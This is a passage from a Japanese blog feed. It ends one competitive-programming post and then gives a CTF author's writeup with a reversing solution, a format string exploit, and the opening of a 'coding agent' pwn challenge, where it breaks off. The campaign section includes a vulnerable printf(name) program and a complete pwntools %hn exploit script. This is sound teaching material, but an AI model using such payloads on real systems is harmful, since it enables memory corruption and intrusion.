class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">&#x2212;</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mord"><span class="delimsizing size3">)</span></span></span></span></span> &#x3067;&#x3042;&#x308B;&#x306E;&#x3067;&#x3001;&#x4E0A;&#x90E8;&#x3067;&#x7D39;&#x4ECB;&#x3057;&#x305F;&#x30B3;&#x30FC;&#x30C9;&#x306E;&#x4E2D;&#x306E; <code>floor_max</code> &#x95A2;&#x6570;&#x3092;&#x30B3;&#x30D4;&#x30DA;&#x3059;&#x308B;&#x3060;&#x3051;&#x3067;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;</p>
<p><a href="https://atcoder.jp/contests/arc139/tasks/arc139_b?ref=trap.jp">https://atcoder.jp/contests/arc139/tasks/arc139_b</a><br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> &#x52A0;&#x7B97;&#x3068; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> &#x52A0;&#x7B97;&#x3092;&#x305D;&#x308C;&#x305E;&#x308C; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> &#x56DE;, <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &#x56DE;&#x4F7F;&#x3046;&#x3068;&#x3059;&#x308B;&#x3068;&#x3001;&#x683C;&#x5B50;&#x70B9;&#x9650;&#x5B9A;&#x306E;&#x7DDA;&#x5F62;&#x8A08;&#x753B;&#x6CD5;&#x306E;&#x554F;&#x984C;&#x306B;&#x306A;&#x308A;&#x3001;&#x3053;&#x308C;&#x306F; <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> &#x3064;&#x76EE;&#x306E;&#x8AAC;&#x660E;&#x4E2D;&#x306B;&#x51FA;&#x3066;&#x304D;&#x305F;&#x3082;&#x306E;&#x3068;&#x307B;&#x307C;&#x540C;&#x3058;&#x3088;&#x3046;&#x306B;&#x3057;&#x3066;&#x89E3;&#x3051;&#x307E;&#x3059;&#x3002;<br>
&#x3061;&#x306A;&#x307F;&#x306B;&#x3001;&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x89E3;&#x3044;&#x305F;&#x3053;&#x3068;&#x3067;&#x3053;&#x306E;&#x30D6;&#x30ED;&#x30B0;&#x3092;&#x66F8;&#x304F;&#x3053;&#x3068;&#x3092;&#x6C7A;&#x3081;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x306A;&#x304A;&#x3001;<code>C++</code>&#x3067;&#x5B9F;&#x88C5;&#x3057;&#x305F;&#x3068;&#x3053;&#x308D;&#x3001;&#x5B9F;&#x8CEA;fastest&#x3092;&#x53D6;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3057;&#x305F;&#x3002;<br>
<img src="https://trap.jp/content/images/2026/04/----------2026-04-15-223117-2.png" alt="&#x8996;&#x899A;&#x7684;&#x306B;&#x7406;&#x89E3;&#x3059;&#x308B;floor sum" loading="lazy"></p>
<p>&#x660E;&#x65E5;&#x306E;&#x65B0;&#x6B53;&#x30D6;&#x30ED;&#x30B0;&#x30EA;&#x30EC;&#x30FC;2026&#x306E;&#x62C5;&#x5F53;&#x306F; <a href="https://trap.jp/author/Water_Castle/">@Water_Castle</a>, <a href="https://trap.jp/author/2251799813685248/">@2251799813685248</a> &#x3067;&#x3059;&#x3002;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[CPCTF2026 作問者writeup by kavos]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>&#x3053;&#x306E;&#x305F;&#x3073;&#x306F;CPCTF2026&#x306B;&#x3054;&#x53C2;&#x52A0;&#x3044;&#x305F;&#x3060;&#x304D;&#x3042;&#x308A;&#x304C;&#x3068;&#x3046;&#x3054;&#x3056;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x306F;&#x3001;@kavos&#x304C;&#x4F5C;&#x554F;&#x3057;&#x305F;&#x554F;&#x984C;&#x306E;&#x89E3;&#x6CD5;&#x306B;&#x3064;&#x3044;&#x3066;&#x66F8;&#x304D;</p>]]></description><link>https://trap.jp/post/2915/</link><guid isPermaLink="false">69e4e2a3e2394c00016e8b71</guid><category><![CDATA[CPCTF]]></category><category><![CDATA[CTF]]></category><category><![CDATA[writeup]]></category><dc:creator><![CDATA[kavos]]></dc:creator><pubDate>Fri, 24 Apr 2026 15:00:43 GMT</pubDate><media:content url="https://trap.jp/content/images/2026/04/----------2026-04-19-232640.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://trap.jp/content/images/2026/04/----------2026-04-19-232640.png" alt="CPCTF2026 &#x4F5C;&#x554F;&#x8005;writeup by kavos"><p>&#x3053;&#x306E;&#x305F;&#x3073;&#x306F;CPCTF2026&#x306B;&#x3054;&#x53C2;&#x52A0;&#x3044;&#x305F;&#x3060;&#x304D;&#x3042;&#x308A;&#x304C;&#x3068;&#x3046;&#x3054;&#x3056;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;<br>
&#x3053;&#x306E;&#x8A18;&#x4E8B;&#x3067;&#x306F;&#x3001;@kavos&#x304C;&#x4F5C;&#x554F;&#x3057;&#x305F;&#x554F;&#x984C;&#x306E;&#x89E3;&#x6CD5;&#x306B;&#x3064;&#x3044;&#x3066;&#x66F8;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<h1 id="%E5%95%8F%E9%A1%8C">&#x554F;&#x984C;</h1>
<p>&#x4ECA;&#x56DE;&#x3001;&#x4EE5;&#x4E0B;&#x306E;4&#x554F;&#x3092;&#x4F5C;&#x554F;&#x3057;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<ul>
<li><a href="#rev-lv3-out-of-world">[Rev] Lv.3 Out of World</a></li>
<li><a href="#pwn-lv3-campaign">[Pwn] Lv.3 campaign</a></li>
<li><a href="#pwn-lv4-coding-agent">[Pwn] Lv.4 coding agent</a></li>
<li><a href="#pwn-lv5-diary">[Pwn] Lv.5 diary</a></li>
</ul>
<h1 id="rev-lv3-out-of-world">[Rev] Lv.3 Out of World</h1>
<h3 id="%E5%95%8F%E9%A1%8C%E6%A6%82%E8%A6%81">&#x554F;&#x984C;&#x6982;&#x8981;</h3>
<p>&#x30D0;&#x30A4;&#x30CA;&#x30EA;&#x304C;&#x6E21;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;&#x3068;&#x308A;&#x3042;&#x3048;&#x305A;&#x8D77;&#x52D5;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;&quot;See you!&quot;&#x3068;&#x3060;&#x3051;&#x8A00;&#x308F;&#x308C;&#x3066;&#x4F55;&#x3082;&#x8D77;&#x304D;&#x307E;&#x305B;&#x3093;&#x3002;</p>
<h3 id="%E8%A7%A3%E7%AD%94%E4%BE%8B">&#x89E3;&#x7B54;&#x4F8B;</h3>
<p>Ghidra&#x3067;&#x30C7;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30EB;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;&#x3053;&#x306E;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-c"><span class="hljs-type">bool</span> <span class="hljs-title function_">FUN_001012ec</span><span class="hljs-params">(<span class="hljs-type">void</span>)</span> {
  <span class="hljs-type">int</span> iVar1;
  <span class="hljs-type">char</span> *pcVar2;
  
  pcVar2 = getenv(<span class="hljs-string">&quot;CTF_SECRET_KEY&quot;</span>);
  iVar1 = FUN_001011a9(pcVar2);
  <span class="hljs-keyword">if</span> (iVar1 != <span class="hljs-number">0</span>) {
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">&quot;OK, the check passed! Here is the flag:&quot;</span>);
    FUN_00101237(pcVar2);
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">puts</span>(<span class="hljs-string">&quot;See you!&quot;</span>);
  }
  <span class="hljs-keyword">return</span> iVar1 == <span class="hljs-number">0</span>;
}

undefined8 <span class="hljs-title function_">FUN_001011a9</span><span class="hljs-params">(<span class="hljs-type">char</span> *param_1)</span> {
  undefined8 uVar1;
  <span class="hljs-type">size_t</span> sVar2;
  ulong local_18;
  
  <span class="hljs-keyword">if</span> (param_1 == (<span class="hljs-type">char</span> *)<span class="hljs-number">0x0</span>) {
    uVar1 = <span class="hljs-number">0</span>;
  } <span class="hljs-keyword">else</span> {
    sVar2 = <span class="hljs-built_in">strlen</span>(param_1);
    <span class="hljs-keyword">if</span> (sVar2 == <span class="hljs-number">0x18</span>) {
      <span class="hljs-keyword">for</span> (local_18 = <span class="hljs-number">0</span>; local_18 &lt; <span class="hljs-number">0x18</span>; local_18 = local_18 + <span class="hljs-number">1</span>) {
        <span class="hljs-keyword">if</span> ((byte)(param_1[local_18] ^ <span class="hljs-number">0x23U</span>) != (&amp;DAT_00104050)[local_18]) {
          <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
        }
      }
      uVar1 = <span class="hljs-number">1</span>;
    } <span class="hljs-keyword">else</span> {
      uVar1 = <span class="hljs-number">0</span>;
    }
  }
  <span class="hljs-keyword">return</span> uVar1;
}

<span class="hljs-type">void</span> <span class="hljs-title function_">FUN_00101237</span><span class="hljs-params">(<span class="hljs-type">long</span> param_1)</span> {
  <span class="hljs-type">long</span> in_FS_OFFSET;
  ulong local_60;
  byte local_48 [<span class="hljs-number">41</span>];
  undefined1 local_1f;
  <span class="hljs-type">long</span> local_10;
  
  local_10 = *(<span class="hljs-type">long</span> *)(in_FS_OFFSET + <span class="hljs-number">0x28</span>);
  <span class="hljs-keyword">for</span> (local_60 = <span class="hljs-number">0</span>; local_60 &lt; <span class="hljs-number">0x29</span>; local_60 = local_60 + <span class="hljs-number">1</span>) {
    local_48[local_60] =
         *(byte *)(param_1 + local_60 % <span class="hljs-number">0x18</span>) ^
         s_R]OB\wu.xOl0bEp1hs_<span class="hljs-string">&quot;tx1n!ca%t;Il_00104020[local_60] ^ 0x45;
  }
  local_1f = 0;
  puts((char *)local_48);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}
</span></code></pre>
<p><code>FUN_001012ec</code>&#x304C;main&#x95A2;&#x6570;&#x3067;&#x3059;&#x304C;&#x3001;&#x3053;&#x3053;&#x3067;<code>getenv</code>&#x95A2;&#x6570;&#x3092;&#x4F7F;&#x3063;&#x3066;&#x74B0;&#x5883;&#x5909;&#x6570;&#x3092;&#x53D6;&#x5F97;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x305D;&#x306E;&#x5F8C;<code>FUN_00101237</code>&#x306E;&#x7D50;&#x679C;&#x306B;&#x5FDC;&#x3058;&#x3066;flag&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x304B;&#x3069;&#x3046;&#x304B;&#x5206;&#x5C90;&#x3057;&#x3066;&#x3044;&#x308B;&#x305F;&#x3081;&#x3001;&#x304A;&#x305D;&#x3089;&#x304F;check_flag&#x306E;&#x3088;&#x3046;&#x306A;&#x95A2;&#x6570;&#x3067;&#x3042;&#x308B;&#x3068;&#x4E88;&#x60F3;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x307E;&#x305F;&#x3001;<code>FUN_00101237</code>&#x3082;flag&#x3092;&#x51FA;&#x529B;&#x3059;&#x308B;&#x95A2;&#x6570;&#x3067;&#x3042;&#x308B;&#x3068;&#x4E88;&#x60F3;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p><code>FUN_00101237</code>&#x95A2;&#x6570;&#x3092;&#x898B;&#x3066;&#x307F;&#x308B;&#x3068;&#x3001;<code>DAT_00104050</code>&#x306B;&#x3042;&#x308B;&#x30C7;&#x30FC;&#x30BF;&#x3068;&#xFF08;&#x5165;&#x529B; ^ 0x23&#xFF09;&#x3092;&#x6BD4;&#x8F03;&#x3057;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306A;&#x30B9;&#x30AF;&#x30EA;&#x30D7;&#x30C8;&#x306B;&#x3088;&#x3063;&#x3066;&#x683C;&#x7D0D;&#x3059;&#x3079;&#x304D;&#x5024;&#x304C;&#x308F;&#x304B;&#x308A;&#x305D;&#x3046;&#x3067;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-python">dec = <span class="hljs-string">&quot;wkjp|jp|pvsfq|pf`qfw|hfz&quot;</span>
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> dec:
&#xA0; &#xA0; <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(<span class="hljs-built_in">ord</span>(c) ^ <span class="hljs-number">0x23</span>), end=<span class="hljs-string">&quot;&quot;</span>)
</code></pre>
<p>&#x3053;&#x308C;&#x3092;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x3068;&#x3001;</p>
<pre class="blog-code"><code class="lang-nginx"><span class="hljs-attribute">THIS_IS_SUPER_SECRET_KEY</span>
</code></pre>
<p>&#x3068;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;&#x3088;&#x3063;&#x3066;&#x3001;&#x4EE5;&#x4E0B;&#x306E;&#x3088;&#x3046;&#x306B;&#x74B0;&#x5883;&#x5909;&#x6570;&#x3092;&#x8A2D;&#x5B9A;&#x3057;&#x305F;&#x3046;&#x3048;&#x3067;&#x5B9F;&#x884C;&#x3059;&#x308B;&#x3068;flag&#x304C;&#x5F97;&#x3089;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-bash">$ <span class="hljs-built_in">export</span> CTF_SECRET_KEY=<span class="hljs-string">&quot;THIS_IS_SUPER_SECRET_KEY&quot;</span>
$ ./chal-f7199d01c49d56bebaae2d98ff2b597c 
OK, the check passed! Here is the flag:
CPCTF{c4n_y0u_f1nd_3nv1r0nm3n7_v4r1abl35}
</code></pre>
<h1 id="pwn-lv3-campaign">[Pwn] Lv.3 campaign</h1>
<h3 id="%E5%95%8F%E9%A1%8C%E6%A6%82%E8%A6%81">&#x554F;&#x984C;&#x6982;&#x8981;</h3>
<p>&#x4EE5;&#x4E0B;&#x306E;C&#x8A00;&#x8A9E;&#x30D7;&#x30ED;&#x30B0;&#x30E9;&#x30E0;&#x304C;&#x6E21;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;stdio.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;stdlib.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;string.h&gt;</span></span>

<span class="hljs-type">void</span> <span class="hljs-title function_">init</span><span class="hljs-params">()</span> {
  setbuf(<span class="hljs-built_in">stdout</span>, <span class="hljs-literal">NULL</span>);
  setbuf(<span class="hljs-built_in">stdin</span>, <span class="hljs-literal">NULL</span>);
  setbuf(<span class="hljs-built_in">stderr</span>, <span class="hljs-literal">NULL</span>);
}

<span class="hljs-type">char</span> type[] = <span class="hljs-string">&quot;ai&quot;</span>;

<span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span> {
  init();

  <span class="hljs-type">char</span> name[<span class="hljs-number">0x60</span>];
  <span class="hljs-type">int</span> phone;
  
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Hi! You are so lucky, you can get a free VIP membership for a year! Please tell me your name and phone number.\n&quot;</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Name: &quot;</span>);
  fgets(name, <span class="hljs-number">0x60</span>, <span class="hljs-built_in">stdin</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Phone: &quot;</span>);
  <span class="hljs-built_in">scanf</span>(<span class="hljs-string">&quot;%d&quot;</span>, &amp;phone);

  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Please confirm your information:\n&quot;</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Name: &quot;</span>);
  <span class="hljs-built_in">printf</span>(name);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Phone: &quot;</span>);
  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;%d\n&quot;</span>, phone);

  <span class="hljs-keyword">if</span> (<span class="hljs-built_in">strcmp</span>(type, <span class="hljs-string">&quot;human&quot;</span>) == <span class="hljs-number">0</span>) {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Congratulations! You can get the VIP membership!\n&quot;</span>);
    system(<span class="hljs-string">&quot;cat flag.txt&quot;</span>);
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;Sorry, we can only give the VIP membership to humans.\n&quot;</span>);
  }
}
</code></pre>
<p>&#x3069;&#x3046;&#x3084;&#x3089;&#x4F55;&#x304B;&#x306E;&#x30AD;&#x30E3;&#x30F3;&#x30DA;&#x30FC;&#x30F3;&#x306B;&#x5F53;&#x9078;&#x3057;&#x305F;&#x307F;&#x305F;&#x3044;&#x3067;&#x3059;&#x3002;&#x3057;&#x304B;&#x3057;&#x3001;&#x30C7;&#x30D5;&#x30A9;&#x30EB;&#x30C8;&#x3067;AI&#x3068;&#x5224;&#x5B9A;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x3088;&#x3046;&#x306A;&#x306E;&#x3067;&#x3001;&#x306A;&#x3093;&#x3068;&#x304B;human&#x3067;&#x3042;&#x308B;&#x3053;&#x3068;&#x3092;&#x793A;&#x3055;&#x306A;&#x3051;&#x308C;&#x3070;&#x306A;&#x308A;&#x307E;&#x305B;&#x3093;&#x3002;</p>
<h3 id="%E8%A7%A3%E7%AD%94%E4%BE%8B">&#x89E3;&#x7B54;&#x4F8B;</h3>
<p>&#x3053;&#x306E;&#x90E8;&#x5206;&#x306B;&#x8106;&#x5F31;&#x6027;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-c"><span class="hljs-built_in">printf</span>(name);
</code></pre>
<p>Format String Bug&#x3068;&#x547C;&#x3070;&#x308C;&#x308B;&#x8106;&#x5F31;&#x6027;&#x3067;&#x3001;printf&#x306E;&#x7B2C;&#x4E00;&#x5F15;&#x6570;&#x306B;&#x4EFB;&#x610F;&#x306E;&#x6587;&#x5B57;&#x5217;&#x3092;&#x5165;&#x529B;&#x3067;&#x304D;&#x308B;&#x3068;&#x3001;&#x66F8;&#x5F0F;&#x6587;&#x5B57;&#x5217;&#x3092;&#x542B;&#x3080;&#x6587;&#x5B57;&#x5217;&#x3092;&#x5165;&#x529B;&#x3059;&#x308B;&#x3053;&#x3068;&#x3067;&#x610F;&#x56F3;&#x3057;&#x306A;&#x3044;&#x52D5;&#x4F5C;&#x3092;&#x5F15;&#x304D;&#x8D77;&#x3053;&#x3059;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p>&#x305F;&#x3068;&#x3048;&#x3070;&#x3001;%p&#xFF08;&#x5909;&#x6570;&#x3092;&#x30DD;&#x30A4;&#x30F3;&#x30BF;&#x3068;&#x3057;&#x3066;&#x8868;&#x793A;&#x3059;&#x308B;&#xFF09;&#x6307;&#x5B9A;&#x5B50;&#x3092;&#x4F7F;&#x7528;&#x3059;&#x308B;&#x3068;&#x3001;</p>
<pre class="blog-code"><code class="lang-less"><span class="hljs-selector-tag">Hi</span>! <span class="hljs-selector-tag">You</span> <span class="hljs-selector-tag">are</span> <span class="hljs-selector-tag">so</span> <span class="hljs-selector-tag">lucky</span>, <span class="hljs-selector-tag">you</span> <span class="hljs-selector-tag">can</span> <span class="hljs-selector-tag">get</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">free</span> <span class="hljs-selector-tag">VIP</span> <span class="hljs-selector-tag">membership</span> <span class="hljs-selector-tag">for</span> <span class="hljs-selector-tag">a</span> <span class="hljs-selector-tag">year</span>! <span class="hljs-selector-tag">Please</span> <span class="hljs-selector-tag">tell</span> <span class="hljs-selector-tag">me</span> <span class="hljs-selector-tag">your</span> <span class="hljs-selector-tag">name</span> <span class="hljs-selector-tag">and</span> <span class="hljs-selector-tag">phone</span> <span class="hljs-selector-tag">number</span>.
<span class="hljs-selector-tag">Name</span>: %<span class="hljs-selector-tag">p</span>.%<span class="hljs-selector-tag">p</span>.%<span class="hljs-selector-tag">p</span>.%<span class="hljs-selector-tag">p</span>.%<span class="hljs-selector-tag">p</span>.%<span class="hljs-selector-tag">p</span>
<span class="hljs-selector-tag">Phone</span>: <span class="hljs-number">100</span>
<span class="hljs-selector-tag">Please</span> <span class="hljs-selector-tag">confirm</span> <span class="hljs-selector-tag">your</span> <span class="hljs-selector-tag">information</span>:
<span class="hljs-selector-tag">Name</span>: <span class="hljs-number">0</span><span class="hljs-selector-tag">x7ffc662eb330</span>.(nil).(nil)<span class="hljs-selector-class">.0x6</span>.(nil)<span class="hljs-selector-class">.0x2000000</span>
</code></pre>
<p>&#x3053;&#x306E;&#x3088;&#x3046;&#x306B;&#x8868;&#x793A;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<p>&#x66F8;&#x5F0F;&#x6307;&#x5B9A;&#x5B50;&#x306B;&#x306F;&#x3055;&#x307E;&#x3056;&#x307E;&#x3042;&#x308A;&#x307E;&#x3059;&#x304C;&#x3001;&#x3053;&#x306E;&#x3046;&#x3061;%n&#x306F;&#x300C;&#x3053;&#x308C;&#x307E;&#x3067;&#x51FA;&#x529B;&#x3057;&#x305F;&#x6587;&#x5B57;&#x6570;&#x3092;&#x30E1;&#x30E2;&#x30EA;&#x306B;&#x51FA;&#x529B;&#x3059;&#x308B;&#x300D;&#x3068;&#x3044;&#x3046;&#x52B9;&#x679C;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;&#x3053;&#x308C;&#x3092;&#x5229;&#x7528;&#x3059;&#x308B;&#x3068;&#x4EFB;&#x610F;&#x306E;&#x4F4D;&#x7F6E;&#x306E;&#x30E1;&#x30E2;&#x30EA;&#x3092;&#x4EFB;&#x610F;&#x306E;&#x5024;&#x306B;&#x66F8;&#x304D;&#x63DB;&#x3048;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;&#x305D;&#x306E;&#x305F;&#x3081;&#x3001;&#x3053;&#x308C;&#x3092;&#x7528;&#x3044;&#x3066;&quot;ai&quot;&#x3092;&quot;human&quot;&#x306B;&#x7F6E;&#x304D;&#x63DB;&#x3048;&#x308C;&#x3070;&#x30D5;&#x30E9;&#x30B0;&#x3092;&#x7372;&#x5F97;&#x3067;&#x304D;&#x307E;&#x3059;&#x3002;</p>
<p><code>readelf</code>&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x7B49;&#x3067;&#x30B7;&#x30F3;&#x30DC;&#x30EB;&#x3092;&#x898B;&#x308B;&#x3068;&#x5909;&#x6570;type&#x306F;<code>0x404050</code>&#x306B;&#x3042;&#x308B;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308B;&#x306E;&#x3067;&#x3001;</p>
<ul>
<li><code>0x404050</code>&#x3092;<code>0x68</code>&#x306B;</li>
<li><code>0x404051</code>&#x3092;<code>0x75</code>&#x306B;</li>
<li><code>0x404052</code>&#x3092;<code>0x6d</code>&#x306B;</li>
<li><code>0x404053</code>&#x3092;<code>0x61</code>&#x306B;</li>
<li><code>0x404054</code>&#x3092;<code>0x6e</code>&#x306B;</li>
</ul>
<p>&#x3059;&#x308B;&#x3068;&#x3088;&#x3044;&#x3067;&#x3059;&#x3002;&#x30B9;&#x30AF;&#x30EA;&#x30D7;&#x30C8;&#x3092;&#x66F8;&#x304F;&#x3068;&#x3001;&#x305F;&#x3068;&#x3048;&#x3070;&#x3053;&#x306E;&#x3088;&#x3046;&#x306B;&#x306A;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys

elf = ELF(<span class="hljs-string">&apos;./campaign&apos;</span>)
conn = remote(<span class="hljs-string">&apos;133.88.122.244&apos;</span>, <span class="hljs-number">99999</span>)

target = elf.symbols[<span class="hljs-string">&apos;type&apos;</span>]

hu = <span class="hljs-number">0x7568</span>
ma = <span class="hljs-number">0x616d</span>
n = <span class="hljs-number">0x6e</span>

count = <span class="hljs-number">0</span>
fstr = <span class="hljs-string">f&apos;%<span class="hljs-subst">{hu}</span>c%13$hn&apos;</span>
count += hu
fstr += <span class="hljs-string">f&apos;%<span class="hljs-subst">{(ma - count) % <span class="hljs-number">0x10000</span>}</span>c%14$hn&apos;</span>
count += (ma - count) % <span class="hljs-number">0x10000</span>
fstr += <span class="hljs-string">f&apos;%<span class="hljs-subst">{(n - count) % <span class="hljs-number">0x100</span>}</span>c%15$hhn&apos;</span>

payload = fstr.encode()
payload = payload.ljust(<span class="hljs-number">0x28</span>, <span class="hljs-string">b&apos;a&apos;</span>)

payload += p64(target)     <span class="hljs-comment"># hu</span>
payload += p64(target + <span class="hljs-number">2</span>) <span class="hljs-comment"># ma</span>
payload += p64(target + <span class="hljs-number">4</span>) <span class="hljs-comment"># n</span>

conn.sendlineafter(<span class="hljs-string">b&apos;Name: &apos;</span>, payload)
conn.sendlineafter(<span class="hljs-string">b&apos;Phone: &apos;</span>, <span class="hljs-string">b&apos;100&apos;</span>)

conn.interactive()
</code></pre>
<pre class="blog-code"><code class="lang-undefined">CPCTF{b3_c4r3fu1_0f_ph15h1ng_m3s54g3s}
</code></pre>
<h3 id="%E6%84%9F%E6%83%B3%E3%81%A8%E3%81%8B">&#x611F;&#x60F3;&#x3068;&#x304B;</h3>
<p>FSB&#x306E;&#x5165;&#x9580;&#x7684;&#x306A;&#x554F;&#x984C;&#x3068;&#x3057;&#x3066;&#x4F5C;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;%n&#x306F;&#x975E;&#x5E38;&#x306B;&#x9762;&#x767D;&#x3044;&#x6027;&#x8CEA;&#x3092;&#x6301;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x304C;&#x3001;GOT Overwrite&#x307E;&#x3067;&#x542B;&#x3081;&#x3066;&#x3057;&#x307E;&#x3046;&#x3068;&#x96E3;&#x6613;&#x5EA6;&#x304C;&#x4E0A;&#x304C;&#x308A;&#x3059;&#x304E;&#x3066;&#x3057;&#x307E;&#x3046;&#x306E;&#x3067;&#x3001;&#x30B0;&#x30ED;&#x30FC;&#x30D0;&#x30EB;&#x5909;&#x6570;&#x306E;&#x66F8;&#x304D;&#x63DB;&#x3048;&#x3068;&#x3044;&#x3046;&#x5F62;&#x3067;&#x51FA;&#x984C;&#x3057;&#x3066;&#x307F;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h1 id="pwn-lv4-coding-agent">[Pwn] Lv.4 coding agent</h1>
<h3 id="%E5%95%8F%E9%A1%8C%E6%A6%82%E8%A6%81">&#x554F;&#x984C;&#x6982;&#x8981;</h3>
<p>&#x30BD;&#x30FC;&#x30B9;&#x30B3;&#x30FC;&#x30C9;&#x304C;&#x914D;&#x5E03;&#x3055;&#x308C;&#x305A;&#x3001;&#x30D0;&#x30A4;&#x30CA;&#x30EA;&#x306E;&#x307F;&#x304C;&#x6E21;&#x3055;&#x308C;&#x307E;&#x3059;&#x3002;<br>
&#x3069;&#x3046;&#x3084;&#x3089;&#x30B3;&#x30FC;&#x30C7;&#x30A3;&#x30F3;&#x30B0;&#x30A8;&#x30FC;&#x30B8;&#x30A7;&#x30F3;&#x30C8;&#x307F;&#x305F;&#x3044;&#x3067;&#x3059;&#x304C;&#x3001;&#x8D77;&#x52D5;&#x3057;&#x3066;&#x307F;&#x308B;&#x3068;</p>
<pre class="blog-code"><code class="lang-vbnet">Hello! I<span class="hljs-comment">&apos;m a super-intelligent coding agent powered by an LLM.</span>
How can I help you today?
&gt; write hello world
Sorry, your weekly limit has been reached. Please <span class="hljs-keyword">try</span> again <span class="hljs-keyword">next</span> week.
</code></pre>
<p>&#x3053;&#x306E;&#x3088;&#x3046;&#x306B;&#x3001;&#x3059;&#x3050;&#x306B;&#x30EC;&#x30FC;&#x30C8;&#x30EA;&#x30DF;&#x30C3;&#x30C8;&#x306B;&#x5230;&#x9054;&#x3057;&#x3066;&#x4F55;&#x3082;&#x3084;&#x3063;&#x3066;&#x304F;&#x308C;&#x307E;&#x305B;&#x3093;&#x3002;</p>
<h3 id="%E8%A7%A3%E7%AD%94%E4%BE%8B">&#x89E3;&#x7B54;&#x4F8B;</h3>
